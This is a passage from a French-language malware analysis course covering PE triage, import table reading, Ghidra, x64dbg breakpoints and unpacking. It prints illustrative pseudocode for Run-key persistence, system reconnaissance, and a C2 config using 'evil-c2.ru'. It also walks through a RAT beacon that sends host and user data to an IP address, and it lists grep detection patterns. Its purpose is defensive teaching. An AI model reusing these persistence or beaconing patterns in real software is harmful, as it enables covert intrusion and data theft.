pe = pefile.PE('malware.exe')

# Architecture (x86 ou x64 ?)
arch = 'x64' if pe.FILE_HEADER.Machine == 0x8664 else 'x86'
print(f'Architecture : {arch}')

# Point d'entrée (où commence l'exécution)
```

```
ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint
imagebase = pe.OPTIONAL_HEADER.ImageBase
print(f'EntryPoint : {hex(imagebase + ep)}')

# Timestamp de compilation (peut être fakté !)
ts = pe.FILE_HEADER.TimeDateStamp
dt = datetime.datetime.utcfromtimestamp(ts)
print(f'Compile time : {dt}  (peut être fakté)')

# IMPHASH — hash des imports, identifie des familles de malwares
print(f'IMPHASH : {pe.get_imphash()}')

# Sections avec entropie
for s in pe.sections:
    name = s.Name.decode().strip('\x00')
    entropy = s.get_entropy()
    flags = []
    if s.Characteristics & 0x20000000: flags.append('r')
    if s.Characteristics & 0x40000000: flags.append('w')
    if s.Characteristics & 0x80000000: flags.append('x')
    print(f'{name:10} entropy={entropy:.2f}  {"|".join(flags)}')
    if entropy > 7.0:
        print(f'  ↑ ALERTE : entropie > 7.0 = probable packing/chiffrement')
```

L'entropie — détecter le packing

L'entropie de Shannon mesure le 'désordre' d'une séquence de bytes. Du texte anglais a une entropie autour de 3.5-4.5 bits/byte. Du code compilé non-packé a une entropie autour de 5.0-6.5. Du code compressé (UPX) ou chiffré (malware custom) a une entropie proche de 8.0 (le maximum).

Une section .text avec entropie > 7.0 est un signal fort de packing. Un fichier entier avec entropie > 7.5 est très probablement chiffré. Ça ne veut pas dire forcément malveillant (les installateurs compressés ont une haute entropie aussi), mais combiné à d'autres indicateurs, c'est un signal important.

3.3 L'Import Address Table : la goldmine des IOCs

L'Import Table liste toutes les DLLs et fonctions que le programme appelle. C'est la première chose que tu regardes après le triage initial. En lisant les imports d'un malware, tu peux souvent deviner son comportement sans analyser une seule ligne d'assembleur.

Voici comment penser les imports : chaque WinAPI importée est une capacité du programme. {inline_code('CreateFile')}, {inline_code('ReadFile')}, {inline_code('WriteFile')} → manipulation de fichiers. {inline_code('InternetOpen')}, {inline_code('HttpSendRequest')} → communication réseau.

{inline_code('CryptEncrypt')} → chiffrement. La COMBINAISON des capacités te dit le type de malware.

Lecture d'une IAT suspecte — exemple réel annoté

IAT Analysis — Lecture d'une IAT suspecte

```
; IAT d'un malware inconnu — analyse rapide

; DLL: KERNEL32.dll
CreateProcessW          ; → Lance des processus (injection ? persistence ?)
OpenProcess             ; → Accède à un processus existant (injection ?)
VirtualAllocEx          ; → Alloue mémoire dans un autre processus → INJECTION
WriteProcessMemory      ; → Écrit dans un autre processus → INJECTION CONFIRMÉE
CreateRemoteThread      ; → Crée un thread dans un autre processus → INJECTION x3
GetTempPathW            ; → Récupère %TEMP%
CreateFileW             ; → Crée/ouvre des fichiers

; À ce stade, tu peux déjà noter : PROCESS INJECTION via CreateRemoteThread
; Technique MITRE : T1055.001 (Dynamic-link Library Injection) ou T1055.002

; DLL: WININET.dll
InternetOpenW           ; → Initialise une session HTTP
InternetConnectW        ; → Se connecte à un serveur
HttpOpenRequestW        ; → Crée une requête HTTP
HttpSendRequestW        ; → Envoie la requête → COMMUNICATION C2

; DLL: ADVAPI32.dll
RegSetValueExW          ; → Écrit dans le registre → PERSISTENCE possible
RegOpenKeyExW
GetUserNameW            ; → Récupère le nom d'utilisateur → RECONNAISSANCE
GetComputerNameW        ; → Nom de la machine → RECONNAISSANCE

; Conclusion après 2 minutes de lecture des imports :
; → Malware qui fait de la reconnaissance (utilisateur, machine)
; → Injecte du code dans un autre processus (OpenProcess + VirtualAllocEx + WriteProce
ssMemory + CreateRemoteThread)
; → Communique avec un C2 via HTTP (WinINet)
; → Possiblement persistence via registre (RegSetValueEx)
; → Ressemble fortement à un RAT ou un loader
```

Les imports manquants — quand le malware se cache

Les malwares sophistiqués évitent de mettre des APIs suspectes dans l'IAT. Pourquoi ? Parce que tu viens de voir qu'en 2 minutes tu peux deviner leur comportement. À la place, ils chargent les DLLs et

résolvent les fonctions dynamiquement au runtime, via {inline_code('LoadLibraryA')} et {inline_code('GetProcAddress')}. Ces deux-là sont quasi-universellement présentes dans tout EXE Windows, donc leur présence dans l'IAT n'est pas suspecte en soi.

Si tu vois `LoadLibraryA` et `GetProcAddress` mais PEU d'autres APIs intéressantes → suspect. Cherche les strings dans le binaire ({inline_code('FLOSS')}). Si tu trouves des noms d'APIs en string ('VirtualAlloc', 'CreateRemoteThread'), c'est que le malware les charge dynamiquement pour cacher ses capacités.

3.4 Les sections : ce qui se cache où

Un fichier PE est divisé en sections. Chaque section a un nom, des attributs (lecture/écriture/exécution), une taille sur disque et une taille en mémoire (parfois différentes). Comprendre les sections te permet de localiser rapidement ce qui t'intéresse.

La section `.text` contient le code exécutable — c'est là que tu passes l'essentiel de ton temps. La section `.rdata` contient les données en lecture seule : strings, constantes, vtables C++, et souvent les configurations hardcodées. La section `.data` contient les variables globales modifiables. La section `.rsrc` contient les ressources : icônes, chaînes de localisation, et parfois des payloads entiers embarqués (un exe dans un exe).

Signal d'alarme : une section avec des permissions `rwx` (lecture + écriture + exécution). Un programme légitime n'a normalement pas de telle section. Le code est dans .text (r-x) et les données dans .data (rw-). Une section rwx = probable code de shellcode qui sera déchiffré et exécuté en place.

Autre signal : les noms de sections inhabituels. Les sections standard ont des noms comme `.text`, `.rdata`, etc. Des noms comme `.upx0`, `.nsp0`, `.enigma1`, ou des noms avec des caractères non-ASCII → packer reconnu. Des noms custom génériques ({inline_code('.abc')}, {inline_code('.xyz')}) → custom packer.

3.5 Lire un PE avec les outils

CFF Explorer — Triage visuel rapide

CFF Explorer est l'outil le plus rapide pour un premier coup d'œil sur un PE. Ouvre le fichier, et tu as immédiatement accès à tous les headers. Commence par l'onglet 'Import Directory' : c'est là que tu vois toutes les DLLs et fonctions importées, organisées de façon lisible. Un coup d'œil de 2 minutes te donne la vue d'ensemble.

L'onglet 'Section Headers' montre les sections avec leurs attributs. Cherche les sections non-standard ou les flags rwx. L'onglet 'Resource Editor' te permet de naviguer dans les ressources — si tu trouves un resource de type 'BIN' ou 'DATA' avec un grand contenu, exporte-le et analyse-le séparément (c'est peut-être un exe embarqué).

DIE (Detect It Easy) — Identifier le packer/compilateur

DIE compare le binaire contre une base de signatures pour identifier le compilateur, le langage, et surtout le packer. Charge le fichier, un clic, et tu as le résultat. Si DIE dit 'UPX 3.96' → tu sais que tu dois unpacker avant d'analyser. Si DIE dit 'Microsoft Visual C++ 2019' → tu peux analyser directement. Si DIE dit '.NET' → utilise dnSpy ou ILSpy, pas Ghidra.

FLOSS — Extraire les strings même obfusquées

FLOSS (FLARE Obfuscated String Solver) de Mandiant va au-delà de la simple extraction de strings. Il identifie les patterns de déchiffrement de strings dans le code (boucles XOR, ROT, etc.) et les émule pour te donner les strings déchiffrées. C'est souvent là que tu trouveras les URLs C2 et les noms de mutex même sur des malwares obfusqués.

FLOSS — Usage et filtrage

```
# Utilisation en ligne de commande
floss malware.exe                          # Analyse complète
floss malware.exe --only-floss-decoded     # Seulement les strings décodées (les plus intéressantes)
floss malware.exe -n 8                     # Strings de minimum 8 caractères
floss malware.exe --json > output.json     # Export JSON pour automation

# Filtrage des résultats pour un SOC
floss malware.exe | grep -iE 'http|ftp|tcp|socket|\.ru|\.cn|\.to'
floss malware.exe | grep -iE 'password|login|crypt|aes|rc4|xor'
floss malware.exe | grep -iE 'cmd|powershell|wscript|mshta|rundll'
floss malware.exe | grep -iE 'HKEY|registry|run|startup|persist'

# Chercher des IPs et domaines
floss malware.exe | grep -oE '[0-9]+[.][0-9]+[.][0-9]+[.][0-9]+'
floss malware.exe | grep -oE '[a-zA-Z0-9][a-zA-Z0-9.-]+[.](com|ru|net|org|io|cc)'
```

3.6 Ce qu'un PE anormal te dit sur un malware

Après des centaines d'analyses, certains patterns deviennent des reflexes. Voici les signaux d'alerte PE les plus courants et ce qu'ils impliquent pour l'analyse :

Timestamp de compilation = 1970-01-01 ou = une date dans le futur : Le malware a été recompilé avec un timestamp fakté. Ça ne te dit pas grand chose sur le code, mais ça te dit que l'auteur fait attention à l'attribution. Le timestamp reste utile pour le clustering : plusieurs samples avec le même faux timestamp viennent probablement du même builder.

Nom du fichier ne correspond pas à l icone ou à la version info : Un fichier qui s'appelle 'document.pdf.exe' avec une icône PDF, ou un 'AdobeUpdate.exe' avec une version info d'Adobe mais signé par un certificat inconnu — c'est du social engineering classique. L'icône et la version info sont dans .rsrc, modifiables par n'importe quel éditeur PE.

Taille de l image en mémoire (SizeOfImage) >> taille du fichier sur disque : Le PE a des sections qui sont beaucoup plus grandes en mémoire que sur disque (VirtualSize >> SizeOfRawData). C'est normal pour .bss (variables non-initialisées), mais suspect pour .text ou pour des sections custom. Ça peut indiquer que la vraie charge utile est générée/déchiffrée en mémoire au moment de l'exécution.

Absence de TLS directory mais présence de callbacks TLS en analyse dynamique : Certains malwares manipulent les structures PE en mémoire pour ajouter des callbacks qui s'exécutent avant l'entry point — technique anti-debug.

CHAPITRE 4

Analyse Statique

Comprendre un malware sans l'exécuter — la puissance de Ghidra et IDA

4.1 Le triage : 15 minutes qui changent tout

Le triage est la phase où tu décides de ta stratégie d'analyse. Si tu sautes le triage et plonges directement dans Ghidra, tu risques de passer des heures sur un malware déjà connu, ou de chercher dans le mauvais endroit parce que le fichier était packé. 15 minutes de triage = des heures d'analyse épargnées.

La séquence de triage

1. Hash + VT : calcule SHA256 et cherche sur VirusTotal. Si connu avec 40+ détections → tu as le nom de la famille, les rapports d'analyse existants. Tu peux aller directement à l'extraction des IOCs et comparer avec ce que les autres ont trouvé. Si inconnu ou peu détecté → malware custom ou nouvelle variante, l'analyse manuelle est nécessaire.

2. DIE : identifier le packer et le compilateur. Si packé → essaye l'unpack automatique d'abord ({inline_code('upx -d')} pour UPX), sinon l'unpack manuel sera nécessaire (chapitre 5). Si .NET → switch vers dnSpy/ILSpy, l'analyse sera très différente. Si compilateur MSVC → code Windows natif standard, analyse classique.

3. FLOSS : strings et strings décodées. Note toutes les URLs, IPs, domaines, chemins de registre, noms de mutex, noms de processus. Ces éléments sont souvent les IOCs les plus directs. Parfois le triage des strings te donne déjà 80% de ce dont tu as besoin.

4. PE Analysis : imports, sections, entropie. Les imports te donnent les capacités (voir section 3.3). Les sections à haute entropie te disent qu'il y a du contenu obfusqué/chiffré. À ce stade tu peux déjà rédiger les premières lignes de ton rapport.

■ Checklist de triage (à faire sur CHAQUE sample)

- ■ SHA256 calculé et lookup VT
- ■ MD5 pour les outils qui l'utilisent (SIEM, EDR legacy)
- ■ DIE : packer/compilateur identifiés → décision sur la méthode d'analyse
- ■ FLOSS : URLs, IPs, domaines, mutex, chemins registry notés
- ■ PE : imports lus → type de malware estimé, red flags notés
- ■ PE : sections vérifiées → entropie, flags rwx, noms inhabituels
- ■ Si .rsrc contient des données volumineuses → extraire et analyser séparément

- ☐ Résumé triage rédigé : 'ce fichier semble être un [type] qui fait [comportement estimé]'

4.2 Ghidra : prise en main complète

Ghidra est le désassembleur/décompilateur open source développé par la NSA et publié en 2019. Il est maintenant l'outil de référence pour les analystes qui n'ont pas de licence IDA Pro. Il est puissant, gratuit, et s'améliore constamment. Son décompilateur génère un pseudocode C de qualité excellente pour la plupart des binaires.

Premier lancement et import

Au premier lancement : crée un projet non-partagé (File → New Project → Non-Shared Project). Donne-lui un nom descriptif par sample analysé ({inline_code('RedLine_SHA256_XXXX')}). Importe le fichier : File → Import File. Ghidra reconnaît automatiquement le format PE. Laisse les options par défaut et clique OK.

Double-clique sur le fichier importé pour ouvrir le CodeBrowser. Ghidra te proposera d'analyser le fichier — accepte. L'analyse automatique lance une série d'analyseurs : désassemblage, reconnaissance de fonctions, résolution des imports, création de types de données, etc. Pour un EXE de quelques Mo, ça prend 30 secondes à 2 minutes. Pour un gros malware ou un packer, ça peut prendre plus longtemps.

Interface : les panneaux que tu vas utiliser

Le panneau **Listing** au centre est la vue assembleur désassemblée. C'est ton terrain de jeu principal. Les adresses sont en gris, les instructions en blanc, les commentaires en vert (ceux de Ghidra) ou en bleu (tes commentaires). Les références croisées (xrefs) apparaissent au-dessus de chaque label.

Le panneau **Decompiler** à droite est le pseudocode C. C'est par là que tu commences l'analyse d'une fonction. Il se met à jour automatiquement quand tu navigues dans le Listing. Clique dans le Decompiler pour naviguer et annoter — les changements de noms se répercutent dans le Listing et vice-versa.

Le **Symbol Tree** à gauche est ton index. Il liste toutes les fonctions, les labels, les imports, les exports, et les strings. Le dossier `Imports` est ton premier arrêt — il liste toutes les WinAPIs importées. Le dossier `Functions` liste toutes les fonctions reconnues. Cherche une fonction appelée {inline_code('entry')} ou {inline_code('main')} — c'est le point d'entrée.

Les raccourcis qui changent tout

Ghidra a des dizaines de raccourcis, mais ces quelques-uns te permettront de naviguer efficacement :

- **L** : Renommer un symbole (Label). Le raccourci que tu utiliseras le plus souvent. Renomme les fonctions et variables dès que tu comprends leur rôle.
- **T** : Changer le type d'une variable. Essentiel pour que le décompilateur génère du pseudocode correct — si une variable est déclarée int mais contient un pointeur, le décompilateur génère du code bizarre.

- **X** : Afficher les Cross-References (Xrefs). Répond à 'qui appelle cette fonction ?' et 'qui accède à cette variable ?'. Fondamental pour comprendre le contexte.
- **;** : Ajouter un commentaire de fin de ligne. Prends l'habitude : chaque fois que tu comprends quelque chose, commente.
- **G** : Goto — aller à une adresse. Tape l'adresse hex ou le nom d'un symbole.
- **Ctrl+F** : Recherche dans le Listing. Cherche une valeur hex, un nom de symbole, une string.
- **F / P** : Créer une fonction à l'adresse courante. Utile quand Ghidra n'a pas reconnu une fonction (code mort, obfusqué).
- **Ctrl+Z** : Undo. Tu peux annuler tes changements. Sauvegarde le projet régulièrement (Ctrl+S).

4.3 Naviguer dans un binaire inconnu : méthode

Tu as un EXE inconnu dans Ghidra, l'analyse automatique est terminée. Par où commencer ?

Phase 1 — Vue d ensemble (5-10 min). Symbol Tree → Imports : lit les imports, note les red flags. Symbol Tree → Functions : combien de fonctions ? (100 = petit programme, 5000 = gros programme ou bibliothèques statiques embarquées). Cherche les fonctions avec des noms reconnaissables (entrée, thunk_xxx, winmain).

Phase 2 — Entry point. Navigue vers la fonction {inline_code('entry')} ou {inline_code('WinMain')}. Lis le pseudocode C. Note les premières fonctions appelées. Le point d'entrée appelle souvent des fonctions d'initialisation du runtime CRT ({inline_code('__security_init_cookie')}, {inline_code('__initterm')}, etc.) — elles ne sont pas intéressantes pour l'analyse malware. Cherche la première fonction appelée qui n'est pas clairement du runtime.

Phase 3 — Suivi des fonctions importantes. Navigue dans les fonctions qui ont l'air intéressantes. Un bon signal : une fonction qui appelle beaucoup de WinAPIs diverses = fonction de comportement. Une fonction avec beaucoup d'arithmétique et peu de WinAPIs = crypto ou manipulation de données. Une fonction avec GetProcAddress = chargement dynamique.

Phase 4 — Recherche ciblée. Utilise Search → For Strings pour chercher des patterns intéressants. Utilise les Xrefs sur les WinAPIs suspectes pour trouver les fonctions qui les appellent. Par exemple : Xrefs sur CreateRemoteThread → tu trouves directement la fonction d'injection.

4.4 Le décompilateur : lire le pseudocode C

Le décompilateur Ghidra est très bon, mais imparfait. Comprendre ses limitations te permet d'interpréter correctement ce qu'il produit.

Les variables locales sont souvent nommées {inline_code('local_X')} où X est l'offset depuis RBP. Renomme-les dès que tu comprends leur rôle. Le type par défaut est souvent {inline_code('undefined8')} (8 octets non typés) ou {inline_code('int')}. Si tu vois un {inline_code('undefined8')} utilisé comme pointeur, change son type en {inline_code('void *')} ou mieux, vers le type réel ({inline_code('HANDLE')}, {inline_code('LPWSTR')}, etc.) — ça améliore massivement

la lisibilité du pseudocode.

Les casts explicites dans le pseudocode ({inline_code('(char*)local_10')}) indiquent souvent que le décompilateur a déduit le type par context mais n'en est pas sûr. Un {inline_code('(code *)')} sur un appel de fonction = appel indirect (via un pointeur de fonction). C'est souvent le résultat d'un GetProcAddress : le malware a chargé une fonction dynamiquement et l'appelle via un pointeur.

Pseudocode Ghidra — avant/après typage

```
// Pseudocode Ghidra typique d'un import dynamique — AVANT renommage
undefined8 local_28;
HMODULE local_20;

local_20 = LoadLibraryA('kernel32.dll');
local_28 = GetProcAddress(local_20, 'VirtualAlloc');
(**(code **)(&local_28))(0, 0x1000, 0x3000, 0x40);

// Le même pseudocode APRÈS avoir changé les types et renommé
FARPROC pfn_VirtualAlloc;
HMODULE hKernel32;

hKernel32 = LoadLibraryA('kernel32.dll');
pfn_VirtualAlloc = GetProcAddress(hKernel32, 'VirtualAlloc');
// Signature VirtualAlloc: (lpAddress, dwSize, flAllocationType, flProtect)
pShellcode = pfn_VirtualAlloc(NULL, 0x1000, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWR
ITE);
// → Alloue 4096 octets en mémoire exécutable
```

4.5 Reconnaître les patterns malveillants

Au fil des analyses, certains patterns deviennent reconnaissables au premier coup d'œil. Les voici, avec leur signature en pseudocode Ghidra.

Pattern : Déchiffrement de strings XOR

La façon la plus simple pour un malware d'éviter la détection par strings est de les chiffrer dans le binaire et de les déchiffrer juste avant utilisation. Le XOR simple byte-par-byte est le plus courant. Dans Ghidra, ça ressemble à une boucle courte avec un {inline_code('^ constante')} :

Pattern XOR decryption — identification et extraction

```
// Pseudocode Ghidra — déchiffrement XOR
// Ghidra montre souvent ça AVANT que tu comprennes ce qui se passe
void decrypt_string(char *buf, int len) {
    int i = 0;
    while (i < len) {
```

```
        buf[i] = buf[i] ^ 0x17;  // ← 0x17 est la clé XOR
        i = i + 1;
    }
    return;
}

// Comment trouver les strings déchiffrées ?
// Option 1 : FLOSS le fait automatiquement
// Option 2 : Script Python
encrypted = bytes([0x7b, 0x72, 0x66, 0x66, 0x7d, 0x60])  # depuis Ghidra
key = 0x17
decrypted = ''.join(chr(b ^ key) for b in encrypted)
print(decrypted)  # 'ldapps' → non... recalcul
# En pratique, cherche la clé dans le code et applique-la sur les données encrypted

// Option 3 : dans x64dbg, mets un BP après la boucle
// et regarde le buffer en mémoire — tu lis directement la string déchiffrée
```

Pattern : Reconnaissance système

Presque tous les malwares commencent par collecter des informations sur le système cible. Cette phase de reconnaissance est souvent la première chose que fait le malware après l'initialisation. Elle sert à personnaliser le comportement (éviter certains pays, certaines AV, etc.) et à envoyer un profil au C2.

Pattern reconnaissance — identification

```
// Pseudocode Ghidra — reconnaissance système typique
void system_recon(ReconData *info) {
    DWORD size = 0x104;

    // Informations machine
    GetComputerNameW(info->hostname, &size);
    GetUserNameW(info->username, &size);

    // Version Windows
    GetVersionExW(&osInfo);
    info->win_version = osInfo.dwMajorVersion;

    // Langue système (pour éviter certains pays)
    info->locale = GetUserDefaultLCID();
    // Certains malwares russes vérifient si LCID = russe (0x0419) → exit

    // Antivirus (via WMI ou services)
```

```
    check_av_processes(info->av_name);

    // IP publique (requête HTTP vers ipinfo.io ou similaire)
    http_get('http://api.ipify.org', info->public_ip);
}
```

Pattern : Persistence par Run Key

La Run Key est la technique de persistence la plus classique et la plus détectée. Malgré sa notoriété, elle reste très utilisée car elle fonctionne sur tous les Windows. Dans Ghidra, tu la reconnais à la combinaison {inline_code('RegOpenKeyEx')} / {inline_code('RegSetValueEx')} avec des strings '{inline_code('SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run')}'.

Pattern persistence — Run Key

```
// Pseudocode Ghidra — persistence Run Key
void install_persistence(void) {
    HKEY hKey;
    wchar_t exe_path[MAX_PATH];

    // Obtenir le chemin de l'exécutable courant
    GetModuleFileNameW(NULL, exe_path, MAX_PATH);

    // Ouvrir la clé Run
    RegOpenKeyExW(HKEY_CURRENT_USER,
                  L'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
                  0, KEY_SET_VALUE, &hKey);

    // Créer une valeur avec un nom qui 'semble légitime'
    RegSetValueExW(hKey,
                   L'WindowsSecurityCenter',  // ← IOC : nom de la valeur
                   0, REG_SZ,
                   (BYTE*)exe_path,
                   (wcslen(exe_path)+1)*2);

    RegCloseKey(hKey);
}
// IOCs extraits :
// Clé  : HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
// Valeur : WindowsSecurityCenter
// Données : chemin vers l'exe malveillant
```

4.7 Extraire une configuration C2

La plupart des malwares ont une configuration hardcodée ou chiffrée dans le binaire : adresse du C2, port, clé de chiffrement des communications, intervalle de beacon, etc. Extraire cette config est souvent l'objectif principal d'une analyse malware.

La stratégie : cherche la fonction qui fait la première connexion réseau ({inline_code('InternetConnect')}, {inline_code('socket')} + {inline_code('connect')}, etc.). Remonte depuis cette fonction vers ses appelants pour trouver où l'adresse C2 est lue ou déchiffrée. La config est souvent dans une fonction d'initialisation appelée tôt dans le programme.

Extraction config C2 — méthode Ghidra + Python

```
// Exemple : config C2 chiffrée en AES dans la section .rdata

// 1. Dans Ghidra, cherche BCryptDecrypt ou CryptDecrypt
// 2. Remonte depuis l'appel au déchiffrement
// 3. Tu trouves quelque chose comme ça :

void init_config(MalwareConfig *cfg) {
    // Données chiffrées hardcodées (en .rdata)
    static BYTE encrypted_config[] = {
        0xA3, 0xF2, 0x17, 0xCC, ...  // ← Ghidra les montre
    };
    static BYTE aes_key[] = {
        0x41, 0x42, 0x43, ...  // ← Parfois visible directement !
    };

    // Déchiffrement
    aes_decrypt(encrypted_config, sizeof(encrypted_config), aes_key, cfg);

    // cfg contient maintenant :
    // cfg->c2_host  = 'evil-c2.ru'
    // cfg->c2_port  = 4444
    // cfg->campaign = 'FR_2025_01'
    // cfg->mutex    = 'Global\\UNIQUE_MUTEX_NAME'
}

// Option 1 : Extraire la clé AES depuis Ghidra et déchiffrer offline
// Option 2 : x64dbg, BP après init_config, lire cfg en mémoire directement

# Script Python d'extraction offline
from Crypto.Cipher import AES
encrypted = bytes([0xA3, 0xF2, 0x17, 0xCC, ...])
key = bytes([0x41, 0x42, 0x43, ...])
cipher = AES.new(key, AES.MODE_CBC, iv=key[:16])
config = cipher.decrypt(encrypted)
```

```
print(config.decode('utf-16-le' if b'\x00' in config else 'ascii', errors='replace'))
```

CHAPITRE 5

Analyse Dynamique

Observer le malware en action — x64dbg, ProcMon, FakeNet-NG

5.1 Préparer l'environnement dynamique

L'analyse dynamique est complémentaire à l'analyse statique. Elle est indispensable quand : le malware est trop obfusqué pour l'analyse statique, quand tu veux confirmer ce que tu as trouvé en statique, quand tu cherches des données en mémoire (clés de chiffrement, config déchiffrée), ou quand tu veux observer le comportement exact (quels fichiers sont créés, quelles clés de registre, quel trafic réseau).

Avant de lancer quoi que ce soit, prépare l'environnement dans ta VM sandbox. Lance ProcMon EN PREMIER (il doit être en train de capturer quand le malware démarre). Lance FakeNet-NG pour intercepter le réseau. Ouvre Process Hacker. Prends un screenshot de l'état initial du bureau (pour documentation). Maintenant tu peux lancer le malware (si tu le lances directement) ou l'attacher à x64dbg (si tu veux le déboguer).

5.2 x64dbg : prendre le contrôle de l'exécution

x64dbg est un debugger Windows user-mode open source. Il remplace OllyDbg (32 bits, abandonné) et s'est imposé comme le standard pour le RE malware. x64dbg supporte à la fois les processus 32 bits (x32dbg, inclus dans le package) et 64 bits (x64dbg).

Quand tu lances un programme dans x64dbg ({inline_code('File → Open')}), il s'arrête automatiquement au point d'entrée du processus. Pas à l'EntryPoint de ton programme — à l'EntryPoint du loader ntdll.dll qui initialise l'environnement d'exécution. Tu dois appuyer sur F9 (Run) plusieurs fois pour arriver à l'EntryPoint de ton malware, ou utiliser {inline_code('Debug → Run to User Code')} pour sauter directement à ton code.

La vue principale montre 4 zones : en haut à gauche l'assembleur (le Listing), en haut à droite les registres, en bas à gauche la mémoire (Dump), en bas à droite la stack. Ces 4 zones sont synchronisées : quand l'exécution s'arrête sur un breakpoint, tout se met à jour pour montrer l'état exact à cet instant.

5.3 L'art des breakpoints

Poser les bons breakpoints est ce qui distingue une analyse dynamique efficace d'une session frustrante à 'step over' pendant des heures. La clé : tu veux t'arrêter aux moments SIGNIFICATIFS, pas à chaque instruction.

Breakpoints sur les WinAPIs

La stratégie la plus efficace pour comprendre rapidement un malware : poser des breakpoints sur les WinAPIs clés et lire les arguments à chaque déclenchement. Tu construis ainsi une 'trace comportementale' : quelles APIs, dans quel ordre, avec quels arguments.

x64dbg — Breakpoints sur WinAPI

```
; Dans x64dbg : comment poser un BP sur une API

; Méthode 1 : Symbols tab
; → Onglet 'Symbols' → cherche 'RegSetValueExW' → Double-clic → F2

; Méthode 2 : Ligne de commande x64dbg
bp RegSetValueExW     ; BP software sur l'API
bp CreateFileW        ; BP sur CreateFile
bp VirtualAllocEx     ; BP sur allocation mémoire dans autre process

; Méthode 3 : bp sur une adresse
bp 0x140001234        ; BP à cette adresse dans le code

; Quand le BP sur RegSetValueExW se déclenche :
; → Registres montrent : RCX=HKEY, RDX=ptr nom, R8=type, R9=ptr valeur
; → Dans la stack view : clique droit sur RDX → 'Follow in Dump'
; → Dans le Dump, tu vois directement le nom de la valeur de registre !

; Exemple de ce que tu liras :
; RCX = 0x80000001  (HKEY_CURRENT_USER)
; RDX → 'WindowsSecurityCenter'  (nom de la valeur - IOC !)
; R8  = 1           (REG_SZ)
; R9  → 'C:\Users\User\AppData\Roaming\svc.exe'  (valeur - IOC !)

; BP conditionnel (utile pour éviter les faux positifs)
; Clic droit sur un BP → 'Edit' → Condition : RAX != 0  (seulement si succès)
```

Lire l'état du programme au breakpoint

Quand un breakpoint se déclenche, tu es dans un état 'figé' du programme. Voici comment extraire le maximum d'information :

Les registres : le panneau registres en haut à droite montre l'état actuel. Les registres modifiés depuis le dernier stop apparaissent en rouge. Clique sur une valeur de registre pour la modifier (NOP d'un anti-debug, etc.). Pour voir ce qu'il y a à l'adresse pointée par un registre : clic droit → 'Follow in Dump'.

La stack : le panneau stack montre les 8 premiers éléments de la stack. En haut de la stack avant un CALL se trouve l'adresse de retour (mise par CALL). En dessous : les arguments pushés (si calling convention x86), ou le shadow space (si x64). Le bouton 'Follow RSP' dans la stack view te montre tout depuis le sommet.

La mémoire (Dump) : pour explorer la mémoire à n'importe quelle adresse, utilise Ctrl+G dans le panneau Dump. Tu peux voir les données en hex et en ASCII/Unicode côte à côte. Pour dumpter une région de mémoire (shellcode injecté, config déchiffrée) : sélectionne les bytes dans le Dump, clic droit → 'Save Selection'.

5.4 Walkthrough : observer un RAT en train de beaconer

Voici un walkthrough complet d'une session d'analyse dynamique d'un RAT simple. Je vais te montrer exactement la séquence de pensée et d'actions.

Contexte : ton EDR a alerté sur `svchost32.exe` dans %APPDATA%. Tu as fait le triage statique : imports montrent WinINet + RegSetValueEx + GetComputerName. Hypothesis : RAT avec persistence et C2 HTTP. Tu veux confirmer et extraire les IOCs précis.

Walkthrough — Analyse dynamique d'un RAT

```
; === Préparation ===
; 1. VM Sandbox avec FakeNet-NG lancé
; 2. ProcMon lancé (filtre : Process Name = svchost32.exe)
; 3. Wireshark lancé (capture sur l'interface réseau)
; 4. Ouvrir svchost32.exe dans x64dbg

; === Breakpoints posés avant de lancer ===
bp RegSetValueExW        ; Pour voir la persistence
bp InternetOpenW         ; Pour voir l'init HTTP
bp InternetConnectW      ; Pour voir la connexion C2
bp HttpSendRequestW      ; Pour voir les données envoyées
bp GetComputerNameW      ; Pour voir la reconnaissance

; === Run (F9) ===

; --- Premier BP déclenché : GetComputerNameW ---
; RCX → buffer (vide pour l'instant)
; Laisse passer (F9) → RCX pointe maintenant vers 'DESKTOP-X7KPQM'
; Note : le malware a récupéré le hostname → IOC comportemental

; --- BP suivant : RegSetValueExW ---
; RDX → 'WindowsDefenderUpdate'    ← IOC : nom de la valeur registry
; R9  → 'C:\Users\User\AppData\Roaming\svchost32.exe'   ← IOC : chemin
; Key : HKCU\Software\Microsoft\Windows\CurrentVersion\Run
; Note : persistence par Run Key confirmée

; --- BP suivant : InternetOpenW ---
; RCX → 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)'
; ← IOC FORT : User-Agent hardcodé
```

```
; --- BP suivant : InternetConnectW ---
; RDX → '195.123.245.17'   ← IOC : IP du C2
; R8  = 8080               ← IOC : port

; --- BP suivant : HttpSendRequestW ---
; Dans le Dump, lis le body de la requête :
; 'id=DESKTOP-X7KPQM&user=Admin&os=10.0.19041&av=None'
; ← Format de beacon confirmé, données exfiltrées identifiées

; === Résultats ===
; IOCs extraits en 15 minutes sans lire l'assembleur en détail :
; - IP C2 : 195.123.245.17:8080
; - User-Agent : 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)'
; - Registry : HKCU\..\Run\WindowsDefenderUpdate
; - Chemin : C:\Users\*\AppData\Roaming\svchost32.exe
; - Beacon : HTTP POST avec id, user, os, av
; - MITRE : T1060 (Run Key), T1071.001 (Web Protocols), T1082 (Sys Info Discovery)
```

5.5 L'unpacking en pratique

Un fichier packé, c'est comme un programme dans un programme. Le premier programme (le stub) décompresse/déchiffre le vrai code, le place en mémoire, et lui donne la main. Du point de vue de l'analyse statique, tu ne vois que le stub — le vrai code est invisible. L'unpacking consiste à 'intercepter' le programme au moment où il vient de décompresser et de copier ce code en mémoire.

Le principe de l'unpacking manuel est simple : le stub, quel qu'il soit, doit à un moment donner la main au vrai code. Ce 'moment' s'appelle l'OEP (Original Entry Point). Il se manifeste par un JMP ou CALL vers une adresse dans la région mémoire qui vient d'être décompressée. Tu mets un breakpoint pour t'arrêter à cet OEP, et ensuite tu dumpes le processus mémoire pour récupérer l'EXE décompressé.

La méthode ESP — universelle pour beaucoup de packers

Cette méthode fonctionne pour UPX et beaucoup d'autres packers simples. Elle exploite le fait qu'au début de l'exécution du stub, RSP pointe vers l'adresse de retour vers le loader. À la fin du stub, quand il fait son JMP vers l'OEP, RSP est revenu à cette même valeur. En mettant un hardware breakpoint sur EXÉCUTION à [RSP_initial], on s'arrête exactement quand le stub termine.

Unpacking manuel — méthode ESP universelle

```
